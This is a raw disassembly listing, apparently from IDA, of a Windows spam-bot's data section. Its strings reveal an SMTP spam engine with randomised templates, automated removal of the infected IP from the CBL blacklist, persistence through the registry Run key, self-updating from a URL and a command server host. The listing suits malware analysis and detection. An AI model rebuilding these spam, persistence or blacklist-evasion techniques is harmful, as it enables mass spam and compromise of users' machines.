aMail_ db 'mail.',0 ; DATA XREF: sub_403B47:loc_403C34o align 4 aNoProxyLockFou db 'No proxy lock found',0Ah,0 ; DATA XREF: sub_403B47+115o align 4 asc_41E334 db '*/*',0 ; DATA XREF: sub_403E41+65o aImageGif db 'image/gif',0 ; DATA XREF: sub_403E41+76o align 4 aImageXBitmap db 'image/x-bitmap',0 ; DATA XREF: sub_403E41+80o align 4 aImageJpeg db 'image/jpeg',0 ; DATA XREF: sub_403E41+8Ao align 10h aImagePjpeg db 'image/pjpeg',0 ; DATA XREF: sub_403E41+94o aCbl_abuseat_or db 'cbl.abuseat.org',0 ; DATA XREF: sub_403E41+5Ao aInternetconnec db 'InternetConnect: %$',0Ah,0 ; DATA XREF: sub_403E41+C0o align 4 aLookup_cgi db 'lookup.cgi',0 ; DATA XREF: sub_403E41+E9o align 10h aGet db 'GET',0 ; DATA XREF: sub_403E41+EEo ; sub_403E41+274o ... aHttpopenreques db 'HttpOpenRequest: %$',0Ah,0 ; DATA XREF: sub_403E41+107o ; sub_403E41+292o ... align 4 aAcceptLanguage db 'Accept-Language: en',0Dh,0Ah,0 ; DATA XREF: sub_403E41:loc_403F69o ; sub_403E41:loc_4040EDo ... align 4 aAcceptEncoding db 'Accept-Encoding: gzip, deflate',0Dh,0Ah,0 ; DATA XREF: sub_403E41+135o ; sub_403E41+2B9o ... align 4 aHttpsendreques db 'HttpSendRequest: %$',0Ah,0 ; DATA XREF: sub_403E41+166o ; sub_403E41+2EAo ... align 10h aRblServerRespo db 'RBL server response code: %d',0Ah,0 ; DATA XREF: sub_403E41+1FFo ; sub_403E41+378o ... align 10h aLookup_cgi?ip db 'lookup.cgi?ip=',0 ; DATA XREF: sub_403E41+226o align 10h aSubmitLookup db '&submit=Lookup',0 ; DATA XREF: sub_403E41+247o align 10h aHttpCbl_abusea db 'http://cbl.abuseat.org/lookup.cgi',0 ; DATA XREF: sub_403E41+26Do align 4 aWasNotFound db 'was not found',0 ; DATA XREF: sub_403E41+393o align 4 aNotListed_ db 'Not listed.',0Ah,0 ; DATA XREF: sub_403E41+3B1o align 4 aRemove_cgi?ip db 'remove.cgi?ip=',0 ; DATA XREF: sub_403E41+3E5o align 4 aNameConfirmVal db 'name="confirm" value="',0 ; DATA XREF: sub_403E41+512o align 4 aCannotFindConf db 'Cannot find confirmation code to remove ip from RBL',0Ah,0 ; DATA XREF: sub_403E41+530o ; sub_403E41+56Bo align 4 aRemove_cgi db 'remove.cgi',0 ; DATA XREF: sub_403E41+5C5o align 10h aPost db 'POST',0 ; DATA XREF: sub_403E41+5CAo align 4 aContentTypeApp db 'Content-Type: application/x-www-form-urlencoded',0Dh,0Ah,0 ; DATA XREF: sub_403E41+60Ao align 4 aIp db 'ip=',0 ; DATA XREF: sub_403E41+626o aConfirm db '&confirm=',0 ; DATA XREF: sub_403E41+641o align 10h aOwnerYesVirusP db '&owner=yes&virus=&proxy=&comments=&canread=yes&.submit=.Remove+',0 ; DATA XREF: sub_403E41+691o aRespawningAsS_ db 'Respawning as %s ...',0Ah,0 ; DATA XREF: sub_40460B+1Ao align 4 aSystem32Helper db '\system32\helpermnew1winc4.exe',0 ; DATA XREF: sub_40460B+48o align 4 aRt_helper db 'RT_HELPER',0 ; DATA XREF: sub_40460B+55o align 4 aFindresource db 'FindResource: %$',0Ah,0 ; DATA XREF: sub_40460B+73o align 4 aWb db 'wb',0 ; DATA XREF: sub_40460B+A6o ; sub_40499E+65o align 4 aFopenDS db 'fopen: (%d) %s',0Ah,0 ; DATA XREF: sub_40460B+D3o ; sub_40499E+95o aCreateprocess db 'CreateProcess: %$',0Ah,0 ; DATA XREF: sub_40460B+17Eo align 10h aSystem32Mnew1w db '\system32\mnew1winc4.exe',0 ; DATA XREF: sub_4047AC+2Co align 4 aSoftwareMicr_0 db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_4047AC+61o ; sub_4048E7+2Ao align 4 aMlrnew1c4 db 'mlrnew1c4',0 ; DATA XREF: sub_4047AC+8Bo ; sub_4047AC+D8o ... align 4 asc_41E668 db '-X',0 ; DATA XREF: sub_4048E7:loc_40496Bo align 4 aPerformingUpda db 'Performing update from URL: %s',0Ah,0 ; DATA XREF: sub_40499E+25o aSystem32Update db '\system32\updatemnew1winc4.exe',0 ; DATA XREF: sub_40499E+54o align 4 aInternetopenur db 'InternetOpenUrl: %$',0Ah,0 ; DATA XREF: sub_40499E+DBo align 4 aBlah db 'BLAH',0 ; DATA XREF: sub_405089+25o align 4 aUnknown db 'UNKNOWN',0 ; DATA XREF: sub_404B2B+89o ; sub_404B2B+304o aGetnativesyste db 'GetNativeSystemInfo',0 ; DATA XREF: sub_404B2B:loc_404BC3o aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_404B2B+9Do ; sub_4182CC+44o align 4 aWindowsVista db 'Windows Vista ',0 ; DATA XREF: sub_404B2B+105o align 4 aWindowsServerL db 'Windows Server "Longhorn" ',0 ; DATA XREF: sub_404B2B:loc_404C37o align 4 aMicrosoftWindo db 'Microsoft Windows Server 2003 "R2" ',0 ; DATA XREF: sub_404B2B+131o aMicrosoftWin_0 db 'Microsoft Windows XP Professional x64 Edition ',0 ; DATA XREF: sub_404B2B+148o align 4 aMicrosoftWin_1 db 'Microsoft Windows Server 2003, ',0 ; DATA XREF: sub_404B2B:loc_404C7Ao aMicrosoftWin_2 db 'Microsoft Windows XP ',0 ; DATA XREF: sub_404B2B+15Fo align 10h aMicrosoftWin_3 db 'Microsoft Windows 2000 ',0 ; DATA XREF: sub_404B2B+16Eo aMicrosoftWin_4 db 'Microsoft Windows NT ',0 ; DATA XREF: sub_404B2B+17Eo align 10h aWorkstation4_0 db 'Workstation 4.0 ',0 ; DATA XREF: sub_404B2B+1BFo align 4 aHomeEdition db 'Home Edition ',0 ; DATA XREF: sub_404B2B+1CFo align 4 aProfessional db 'Professional ',0 ; DATA XREF: sub_404B2B:loc_404D04o align 4 aDatacenterEdit db 'Datacenter Edition for Itanium-based Systems',0 ; DATA XREF: sub_404B2B+21Do align 4 aEnterpriseEdit db 'Enterprise Edition for Itanium-based Systems',0 ; DATA XREF: sub_404B2B+22Eo align 4 aDatacenterX64E db 'Datacenter x64 Edition ',0 ; DATA XREF: sub_404B2B+248o aEnterpriseX64E db 'Enterprise x64 Edition ',0 ; DATA XREF: sub_404B2B+258o aStandardX64Edi db 'Standard x64 Edition ',0 ; DATA XREF: sub_404B2B:loc_404D8Ao align 4 aDatacenterEd_0 db 'Datacenter Edition ',0 ; DATA XREF: sub_404B2B+26Co aEnterpriseEd_0 db 'Enterprise Edition ',0 ; DATA XREF: sub_404B2B+27Fo aWebEdition db 'Web Edition ',0 ; DATA XREF: sub_404B2B+28Eo align 4 aStandardEditio db 'Standard Edition ',0 ; DATA XREF: sub_404B2B:loc_404DC0o align 4 aDatacenterServ db 'Datacenter Server ',0 ; DATA XREF: sub_404B2B+2AEo align 4 aAdvancedServer db 'Advanced Server ',0 ; DATA XREF: sub_404B2B+2BBo ; sub_404B2B+396o align 10h aServer db 'Server ',0 ; DATA XREF: sub_404B2B:loc_404DEDo ; sub_404B2B+37Do aServer4_0Enter db 'Server 4.0, Enterprise Edition ',0 ; DATA XREF: sub_404B2B+2D2o aServer4_0 db 'Server 4.0 ',0 ; DATA XREF: sub_404B2B:loc_404E04o aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\ProductOptions',0 ; DATA XREF: sub_404B2B+2F1o aProducttype db 'ProductType',0 ; DATA XREF: sub_404B2B+327o aWinnt db 'WINNT',0 ; DATA XREF: sub_404B2B+359o align 4 aWorkstation db 'Workstation ',0 ; DATA XREF: sub_404B2B+364o align 4 aLanmannt db 'LANMANNT',0 ; DATA XREF: sub_404B2B+372o align 4 aServernt db 'SERVERNT',0 ; DATA XREF: sub_404B2B+38Bo align 10h aD_D db '%d.%d ',0 ; DATA XREF: sub_404B2B+3B6o align 4 aServicePack6 db 'Service Pack 6',0 ; DATA XREF: sub_404B2B+3EBo align 4 aSoftwareMicr_1 db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix\Q246009',0 ; DATA XREF: sub_404B2B+409o aServicePack6aB db 'Service Pack 6a (Build %d)',0 ; DATA XREF: sub_404B2B+421o align 10h aSBuildD db '%s (Build %d)',0 ; DATA XREF: sub_404B2B+43Fo ; sub_404B2B+47Eo align 10h aMicrosoftWin_5 db 'Microsoft Windows 95 ',0 ; DATA XREF: sub_404B2B+4BBo align 4 aOsr2 db 'OSR2 ',0 ; DATA XREF: sub_404B2B:loc_405006o align 10h aMicrosoftWin_6 db 'Microsoft Windows 98 ',0 ; DATA XREF: sub_404B2B+4EBo align 4 aSe db 'SE ',0 ; DATA XREF: sub_404B2B:loc_405036o aMicrosoftWin_7 db 'Microsoft Windows Millennium Edition',0 ; DATA XREF: sub_404B2B+51Bo align 4 aMicrosoftWin32 db 'Microsoft Win32s',0 ; DATA XREF: sub_404B2B:loc_40504Do align 4 aG6_jeiahsdod_n db 'g6.jeiahsdod.net',0 ; DATA XREF: sub_40B642+69o align 4 aRunningOnS db 'Running on %s',0Ah,0 ; DATA XREF: sub_405089+FAo align 4 aCommErrorS db 'Comm error: %s',0Ah,0 ; DATA XREF: .vty:004052E9o aVectorTTooLong db 'vector<T> too long',0 ; DATA XREF: sub_40684D+Do align 10h aDequeTTooLong db 'deque<T> too long',0 ; DATA XREF: sub_405C5B+774o align 4 dd offset dword_41F628 off_41EB28 dd offset loc_40248A ; DATA XREF: .vty:loc_40244Bo ; sub_402452+6o ... dd offset sub_40FB38 dd offset dword_41F5C0 off_41EB34 dd offset sub_402F64 ; DATA XREF: sub_402509+14o ; sub_40260A+Eo dd offset sub_40313B dd offset sub_403151 dd offset sub_4033DA dd offset sub_40376E db 19h, 38h, 40h ; --------------------------------------------------------------------------- loc_41EB4B: ; CODE XREF: .vty:0041EB54j add ah, dh cmp [eax+0], al dec edi cmp [eax+0], eax jz short loc_41EB4B inc ecx ; --------------------------------------------------------------------------- db 0 off_41EB58 dd offset loc_40248A ; DATA XREF: sub_403151+1EFo dd offset sub_40B49B dd offset dword_41F528 off_41EB64 dd offset loc_40246E ; DATA XREF: sub_402AA0+B7o dd offset sub_407784 dd offset dword_41F4DC off_41EB70 dd offset loc_40248A ; DATA XREF: sub_403151+1DDo dd offset sub_407C9A aNoRecipientsAc db 'No recipients accepted',0Ah,0 ; DATA XREF: sub_407949+18Fo ; sub_407E77+1AEo aMozilla4_0Comp db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',0 ; DATA XREF: sub_4080EE+24o aInternetopenD db 'InternetOpen: (%d) %$',0Ah,0 ; DATA XREF: sub_4080EE+3Fo align 10h a0_0_0_0 db '0.0.0.0',0 ; DATA XREF: sub_40583B+37o asc_41EBE8 db 0Dh,0Ah,0 ; DATA XREF: sub_4089E6+20Ao ; sub_4093C0+10o ... align 4 a_: ; DATA XREF: sub_4081BF:loc_408216o ; sub_4081BF:loc_4084E4o unicode 0, <.>,0 a__0 db 0Dh,0Ah ; DATA XREF: sub_4081BF+215o ; sub_40D0B0+9Ao db '.',0Dh,0Ah,0 align 4 a_date db '_DATE',0 ; DATA XREF: sub_408593+58o align 10h a_my_ip db '_MY_IP',0 ; DATA XREF: sub_408593+91o align 4 a_my_hostname db '_MY_HOSTNAME',0 ; DATA XREF: sub_408593+CEo align 4 a_from_domain db '_FROM_DOMAIN',0 ; DATA XREF: sub_408593+108o align 4 a_sender db '_SENDER',0 ; DATA XREF: sub_408593:loc_4088F4o a_helo db '_HELO',0 ; DATA XREF: sub_408593+39Co align 4 asc_41EC38 db '#$',0 ; DATA XREF: sub_4094C5+7o ; sub_4094C5+50o align 4 aDict db 'DICT',0 ; DATA XREF: sub_4089E6:loc_408BACo align 4 aDict_sp db 'DICT_SP',0 ; DATA XREF: sub_4089E6:loc_408BC5o asc_41EC4C: ; DATA XREF: sub_4089E6+1F1o unicode 0, < >,0 aDict_nl db 'DICT_NL',0 ; DATA XREF: sub_4089E6:loc_408BDEo aRand_num db 'RAND_NUM',0 ; DATA XREF: sub_4089E6:loc_408C09o align 4 a0123456789 db '0123456789',0 ; DATA XREF: sub_4089E6+235o align 10h aRand_char_lc db 'RAND_CHAR_LC',0 ; DATA XREF: sub_4089E6:loc_408C22o align 10h aRand_char_uc db 'RAND_CHAR_UC',0 ; DATA XREF: sub_4089E6:loc_408C3Bo align 10h aAbcdefghijkl_0 db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: sub_4089E6+267o align 4 aRand_char_mc db 'RAND_CHAR_MC',0 ; DATA XREF: sub_4089E6:loc_408C54o align 4 aAbcdefghijkl_1 db 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: sub_4089E6+280o align 4 aRand_char_num db 'RAND_CHAR_NUM',0 ; DATA XREF: sub_4089E6:loc_408C6Do align 4 aAbcdefghijkl_2 db 'abcdefghijklmnopqrstuvwxyz0123456789',0 ; DATA XREF: sub_4089E6+299o align 4 aRecipients db 'RECIPIENTS',0 ; DATA XREF: sub_4089E6:loc_408C91o align 4 aTo db 'To: ',0 ; DATA XREF: sub_409016+DAo align 10h asc_41ED40 db ', ',0 ; DATA XREF: sub_409016+118o ; sub_409016+1F3o ... align 4 aCc db 0Dh,0Ah ; DATA XREF: sub_409016+1B5o db 'Cc: ',0 align 4 aBcc db 0Dh,0Ah ; DATA XREF: sub_409016+290o db 'Bcc: ',0 aMapSetTTooLong db 'map/set<T> too long',0 ; DATA XREF: sub_409C73+1Ao ; sub_40A5B6+1Ao aInvalidMapSetT db 'invalid map/set<T> iterator',0 ; DATA XREF: sub_40A92E+19o ; sub_40ACEC+19o aNomxS@S db 'nomx: %s@%s',0Ah,0 ; DATA XREF: sub_40B49B+17Eo align 4 aServercommConn db 'ServerComm::connect: cannot create socket',0 ; DATA XREF: sub_40B642+2Do align 10h aServercommCo_0 db 'ServerComm::connect: unknown host',0 ; DATA XREF: sub_40B642+8Co align 4 aServercommCo_1 db 'ServerComm::connect: cannot connect',0 ; DATA XREF: sub_40B642+DFo aServercommDoco db 'ServerComm::doCommand: disconnected while sending header',0 ; DATA XREF: sub_40BA6E+20o align 4 aServercommDo_0 db 'ServerComm::doCommand: disconnected white sending body',0 ; DATA XREF: sub_40BA6E+6Bo align 4 aServercommGetr db 'ServerComm::getResponse: disconnected while receiving header',0 ; DATA XREF: sub_40BB2D+3Ao align 4 aServercommGe_0 db 'ServerComm::getResponse: unexpected response',0 ; DATA XREF: sub_40BB2D:loc_40BBD2o align 4 aServercommGe_1 db 'ServerComm::getResponse: insane response size',0 ; DATA XREF: sub_40BB2D+E1o align 4 aServercommGe_2 db 'ServerComm::getResponse: disconnected while receiving body',0 ; DATA XREF: sub_40BB2D+13Fo align 4 aServercommGe_3 db 'ServerComm::getResponse: bad response -- SHOULD HAVE BEEN CAUGHT!' ; DATA XREF: sub_40BB2D+247o db 0 align 4 aServercommRead db 'ServerComm::readDomains: email does not belong to any domain',0 ; DATA XREF: sub_40BDCD:loc_40BFF6o align 4 aConfigPacketHa db 'Config packet has incorrect size',0 ; DATA XREF: sub_40C10E+19o align 10h dword_41F000 dd 5A827999h dd 6ED9EBA1h, 8F1BBCDCh, 0CA62C1D6h aSmtpclientConn db 'SmtpClient::connect: unknown host: %s',0Ah,0 ; DATA XREF: sub_40CCCC+75o align 4 aSmtpclientCo_0 db 'SmtpClient::connect: cannot connect to %s [%s]',0Ah,0 ; DATA XREF: sub_40CCCC+103o aSmtpclientComm db 'SmtpClient::command: connection broken',0Ah,0 ; DATA XREF: sub_40CDF4+5Fo aHelo db 'HELO ',0 ; DATA XREF: sub_40CE97+23o align 4 aSmtpclientHelo db 'SmtpClient::helo: connection broken',0Ah,0 ; DATA XREF: sub_40CE97+6Ao align 10h aMailFrom db 'MAIL FROM: <',0 ; DATA XREF: sub_40CF4A+23o align 10h asc_41F0D0 db '>',0Dh,0Ah,0 ; DATA XREF: sub_40CF4A+3Fo ; sub_40CFFD+3Fo aSmtpclientMail db 'SmtpClient::mailFrom: connection broken',0Ah,0 ; DATA XREF: sub_40CF4A+6Ao align 10h aRcptTo db 'RCPT TO: <',0 ; DATA XREF: sub_40CFFD+23o align 4 aSmtpclientRcpt db 'SmtpClient::rcptTo: connection broken',0Ah,0 ; DATA XREF: sub_40CFFD+6Ao align 4 aData db 'DATA',0Dh,0Ah,0 ; DATA XREF: sub_40D0B0+11o align 4 aSmtpclientData db 'SmtpClient::data: connection broken',0Ah,0 ; DATA XREF: sub_40D0B0+42o align 4 aQuit db 'QUIT',0Dh,0Ah,0 ; DATA XREF: sub_40D183+11o align 4 aSmtpclientQuit db 'SmtpClient::quit: connection broken',0Ah,0 ; DATA XREF: sub_40D183+3Fo align 4 aDddDdMmmYyyy db 'ddd',27h,',',27h,' dd MMM yyyy ',0 ; DATA XREF: sub_40D2A0+25o aHhMmSs db 'HH',27h,':',27h,'mm',27h,':',27h,'ss ',0 ; DATA XREF: sub_40D2A0+53o align 4 a02_2d02d db '%+02.2d%02d',0 ; DATA XREF: sub_40D2A0+88o aSmtpclientRecv db 'SmtpClient::recvResponse: connection broken',0Ah,0 ; DATA XREF: sub_40D355:loc_40D44Bo align 4 aS db '%s',0Ah,0 ; DATA XREF: sub_40D355+1D3o dd 28h dup(0) dword_41F298 dd 3 dup(0) dd offset off_4241E0 dd offset dword_41F40C dword_41F2AC dd 3 dup(0) dd offset off_423014 dd offset dword_41F2C0 dword_41F2C0 dd 2 dup(0) dd 1, 41F2D0h, 41F2D8h, 0 dd offset off_423014 dd 2 dup(0) dd 0FFFFFFFFh, 0 dd 40h, 41F2C0h dword_41F2F4 dd 3 dup(0) dd offset off_423C9C dd offset dword_41F308 dword_41F308 dd 2 dup(0) dd 2, 41F318h, 41F324h, 41F3F0h, 0 dd offset off_423C9C dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 41F308h dword_41F340 dd 3 dup(0) dd offset off_42419C dd offset dword_41F354 dword_41F354 dd 2 dup(0) dd 2, 41F364h, 41F3A4h, 41F370h, 0 dd offset off_424170 dd 2 dup(0) dd 0FFFFFFFFh, 0 dd 40h, 41F38Ch, 2 dup(0) dd 1, 41F39Ch, 41F370h, 0 dd offset off_42419C dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 41F354h dword_41F3C0 dd 3 dup(0) dd offset off_4241FC dd offset dword_41F3D4 dword_41F3D4 dd 2 dup(0) dd 2, 41F3E4h, 41F424h, 41F3F0h, 0 dd offset off_4241E0 dd 2 dup(0) dd 0FFFFFFFFh, 0 dd 40h, 41F40Ch dword_41F40C dd 2 dup(0) dd 1, 41F41Ch, 41F3F0h, 0 dd offset off_4241FC dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 41F3D4h dword_41F440 dd 3 dup(0) dd offset off_424238 dd offset dword_41F454 dword_41F454 dd 2 dup(0) dd 3, 41F464h, 41F474h, 41F4C0h, 41F3F0h, 0 dd offset off_424238 dd 2, 0 dd 0FFFFFFFFh, 0 dd 40h, 41F454h dword_41F490 dd 3 dup(0) dd offset off_424218 dd offset dword_41F4A4 dword_41F4A4 dd 2 dup(0) dd 2, 41F4B4h, 41F4C0h, 41F3F0h, 0 dd offset off_424218 dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 41F4A4h dword_41F4DC dd 3 dup(0) dd offset off_424258 dd offset dword_41F4F0 dword_41F4F0 dd 2 dup(0) dd 2, 41F500h, 41F50Ch, 41F654h, 0 dd offset off_424258 dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 41F4F0h dword_41F528 dd 3 dup(0) dd offset off_42427C dd offset dword_41F53C dword_41F53C dd 2 dup(0) dd 2, 41F54Ch, 41F558h, 41F654h, 0 dd offset off_42427C dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 41F53Ch, 3 dup(0) dd offset off_4242A4 dd offset dword_41F588 dword_41F588 dd 2 dup(0) dd 2, 41F598h, 41F5A4h, 41F654h, 0 dd offset off_4242A4 dd 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 41F588h dword_41F5C0 dd 3 dup(0) dd offset off_4242C4 dd offset dword_41F5D4 dword_41F5D4 dd 2 dup(0) dd 2, 41F5E4h, 41F60Ch, 41F5F0h, 0 dd offset off_4242F4 dd 2 dup(0) dd 0FFFFFFFFh, 0 dd 4Dh, 41F670h, 4242C4h, 1, 0 dd 0FFFFFFFFh, 0 dd 40h, 41F5D4h dword_41F628 dd 3 dup(0) dd offset off_4242DC dd offset dword_41F63C dword_41F63C dd 2 dup(0) dd 1, 41F64Ch, 41F654h, 0 dd offset off_4242DC align 10h dd 0FFFFFFFFh, 0 dd 40h, 41F63Ch, 2 dup(0) dd 1, 41F680h, 41F688h, 0 dd offset off_4242F4 dd 2 dup(0) dd 0FFFFFFFFh, 0 dd 40h, 41F670h dword_41F6A4 dd 3 dup(0) dd offset off_42434C dd offset dword_41F6B8 dword_41F6B8 dd 2 dup(0) dd 3, 41F6C8h, 41F6D8h, 41F4C0h, 41F3F0h, 0 dd offset off_42434C dd 2, 0 dd 0FFFFFFFFh, 0 dd 40h, 41F6B8h, 3 dup(0) ; --------------------------------------------------------------------------- lds ecx, [eax] add [eax], eax retf 109h ; --------------------------------------------------------------------------- align 4 dd 12800h, 14058h, 19820h, 1AE6Bh, 1AE86h, 1AEA1h, 1AEB3h dd 1AEC2h, 1AEDFh, 1AEF1h, 1AEFBh, 1AF05h, 1AF14h, 1AF37h dd 1AF5Ah, 1AF64h, 1AF6Eh, 1AF80h, 1AF8Ah, 1AF94h, 1AFA6h dd 1AFC8h, 1AFDAh, 1AFE4h, 1AFF3h, 1AFFDh, 1B00Fh, 1B029h dd 1B045h, 1B0BCh, 1B0D4h, 1B0E9h, 1B0FBh, 1B10Dh, 1B117h dd 1B129h, 1B13Bh, 1B14Dh, 1B1B1h, 1B1DBh, 1B1FDh, 1B207h dd 1B211h, 1B21Bh, 1B24Eh, 1B270h, 1B28Ah, 1B2ACh, 1B2BEh dd 1B2D8h, 1B31Ah, 1B334h, 1B33Eh, 1B34Dh, 1B3CDh, 1B3D7h dd 1B3E6h, 1B3F0h, 1B428h, 1B448h, 1B46Fh, 1B4ACh, 1B4C6h dd 1B4D8h, 1B4FAh, 1B50Ch, 1B578h, 1B5A2h, 1B5ACh, 1B5C1h dd 1B5D3h, 1B5FBh, 1B60Dh, 1B627h, 1B639h, 1B65Bh, 1B670h dd 0 dword_41F840 dd 2 dup(0) ; sub_415B7C+7o dword_41F848 dd 2 dup(0) ; sub_415BA0+7o dd 0FFFFFFFFh, 41AE63h dword_41F858 dd 19930522h, 1, 41F850h, 5 dup(0) dd 1, 0 dword_41F880 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40DBBA align 10h dword_41F8A0 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40FA5C align 10h dword_41F8C0 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40FCFF align 10h dword_41F8E0 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_40FDED align 10h dword_41F900 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 41041Fh, 410433h, 0 dword_41F920 dd 0FFFFFFFEh, 0 dd 0FFFFFF80h, 0 dd 0FFFFFFFEh, 410799h, 41079Dh, 0FFFFFFFEh, 41075Fh, 410773h dword_41F948 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_411060 align 8 dword_41F968 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_411182 align 8 dword_41F988 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_411F71 align 8 dword_41F9A8 dd 0FFFFFFFEh, 0 dd 0FFFFFFD8h, 0 dd 0FFFFFFFEh, 0 dd offset sub_41211E dd 0FFFFFFFEh, 0 dd offset sub_41212A dword_41F9D0 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_412488 align 10h dword_41F9F0 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset loc_4126FD align 10h dword_41FA10 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 ; --------------------------------------------------------------------------- jmp fword ptr [edx] ; --------------------------------------------------------------------------- dw 41h align 10h dword_41FA30 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_412E99 align 10h dword_41FA50 dd 0FFFFFFFEh, 0 db 0CCh db 3 dup(0FFh) align 10h dd 0FFFFFFFEh, 0 dd offset sub_41322B align 10h dword_41FA70 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_41357C align 10h dword_41FA90 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_413FB9 align 10h dword_41FAB0 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_414AA7 align 10h dword_41FAD0 dd 0FFFFFFFEh, 0 db 0CCh db 3 dup(0FFh) align 10h dd 0FFFFFFFEh, 0 dd offset sub_414C53 dd 2 dup(0) dd offset sub_414C1F dword_41FAF8 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_414DBC align 8 dword_41FB18 dd 0FFFFFFFEh, 0 dd 0FFFFFFD8h, 0 dd 0FFFFFFFEh, 4152E8h, 4152FCh, 0 dword_41FB38 dd 0FFFFFFFEh, 0 dd 0FFFFFF8Ch, 0 dd 0FFFFFFFEh, 415B65h, 415B69h, 0 dword_41FB58 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_415F4B align 8 dd offset loc_415F0D dd offset loc_415F17 dword_41FB80 dd 0FFFFFFFEh, 0 dd 0FFFFFFD8h, 0 dd 0FFFFFFFEh, 415FF4h, 415FFDh, 40h, 2 dup(0) dd offset sub_4160D4 dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 41FB9Ch dword_41FBD0 dd 19930522h, 2, 41FBACh, 1, 41FBBCh, 3 dup(0) dd 1, 0 dword_41FBF8 dd 0FFFFFFFEh, 0 dd 0FFFFFFB4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_41620C align 8 dd offset loc_41617C dd offset loc_416185 dword_41FC20 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 4163F3h, 4163F7h, 0 dword_41FC40 dd 0FFFFFFFEh, 0 dd 0FFFFFFD8h, 0 dd 0FFFFFFFEh, 41648Ch, 416490h dword_41FC5C dd 0 dd offset sub_415DBE align 8 dd offset dword_41FC6C dword_41FC6C dd 2, 41FC78h, 41FE5Ch, 0 dd offset off_423C9C dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 41694Ch, 0 dword_41FC98 dd 0FFFFFFFEh, 0 dd 0FFFFFFD8h, 0 dd 0FFFFFFFEh, 416A68h, 416A6Ch, 0 dword_41FCB8 dd 0FFFFFFFEh, 0 dd 0FFFFFFD8h, 0 dd 0FFFFFFFEh, 416AB8h, 416ABCh, 0 dword_41FCD8 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_416D9D align 8 dword_41FCF8 dd 0FFFFFFFEh, 0 db 0CCh db 3 dup(0FFh) align 8 dd 0FFFFFFFEh, 0 dd offset sub_417A68 align 8 dword_41FD18 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_417E5C align 8 dword_41FD38 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_417FC1 align 8 dword_41FD58 dd 0FFFFFFFEh, 0 dd 0FFFFFFC0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_418266 align 8 dword_41FD78 dd 0FFFFFFFEh, 0 db 0CCh db 3 dup(0FFh) align 8 dd 0FFFFFFFEh, 418352h, 418369h, 0 dword_41FD98 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 4183AEh, 4183CAh, 0 dword_41FDB8 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_418D22 align 8 dword_41FDD8 dd 0FFFFFFFEh, 0 db 0CCh db 3 dup(0FFh) align 8 dd 0FFFFFFFEh, 0 dd offset sub_419402 align 8 dword_41FDF8 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0 dd 0FFFFFFFEh, 0 dd offset sub_419F08 align 8 dword_41FE18 dd 0FFFFFFFEh, 0 dd 0FFFFFFC8h, 0 dd 0FFFFFFFEh, 0 dd offset sub_41A0CE dd 2 dup(0) dd offset sub_41A005 dword_41FE40 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0 dd 0FFFFFFFEh, 0 dd offset sub_41A1AE align 10h dd offset off_4241E0 align 8 dd 0FFFFFFFFh, 0 dd 0Ch, 